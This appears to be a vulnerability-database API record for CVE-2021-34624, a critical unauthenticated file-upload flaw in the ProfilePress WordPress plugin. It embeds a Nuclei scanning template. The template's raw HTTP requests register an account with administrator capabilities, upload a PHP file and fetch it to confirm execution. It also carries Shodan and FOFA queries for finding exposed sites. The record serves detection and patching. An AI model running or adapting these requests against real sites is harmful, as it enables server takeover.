{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-34624/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-34624/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-34624/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-34624/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-34624/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-34624"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-34624"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-34624.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-34624\n\ninfo:\n  name: WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload\n  author: Sourabh-Sahu\n  severity: critical\n  description: |\n    A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including PHP files during registration, achieving remote code execution and complete server compromise.\n  remediation: Update to ProfilePress version 3.1.4 or later\n  reference:\n    - https://wpscan.com/vulnerability/e12448ec-84a0-46aa-b280-5d9a80ee1e41/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-34624\n    cwe-id: CWE-434\n    epss-score: 0.06744\n    epss-percentile: 0.93717\n    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: properfraction\n    product: profilepress\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/wp-user-avatar/\"\n    publicwww-query: \"/wp-content/plugins/wp-user-avatar/\"\n    shodan-query: http.component:\"profilepress\"\n  tags: cve,cve2021,wordpress,wp-plugin,wp,wpscan,wp-user-avatar,profilepress,rce,file-upload,unauth,intrusive,vkev,vuln\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n  firstname: \"{{rand_base(5)}}\"\n  lastname: \"{{rand_base(5)}}\"\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n  string: \"CVE-2021-34624\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"action\"\n\n        pp_ajax_signup\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_username\"\n\n        {{username}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_email\"\n\n        {{email}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_password\"\n\n        {{password}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_password_present\"\n\n        true\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_first_name\"\n\n        {{firstname}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"reg_last_name\"\n\n        {{lastname}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"wp_capabilities[administrator]\"\n\n        1\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"files\"; filename=\"{{filename}}.php\"\n        Content-Type: application/x-php\n\n        <?php echo \"{{string}}\"; ?>\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n      - |\n        GET /wp-content/uploads/pp-files/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body_2, \"{{string}}\")'\n          - 'contains(content_type_2, \"text/html\")'\n          - 'status_code_2 == 200'\n        condition: and\n# digest: 4a0a0047304502202ccf3a3d3cf8dbd9642a932d095c896562d74969c38ec3cbc950443bd8852f55022100ff33956506e126a5e3f268068b4ba3279d5823545510c1b1b6d59ec7dcead872:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-34624"
}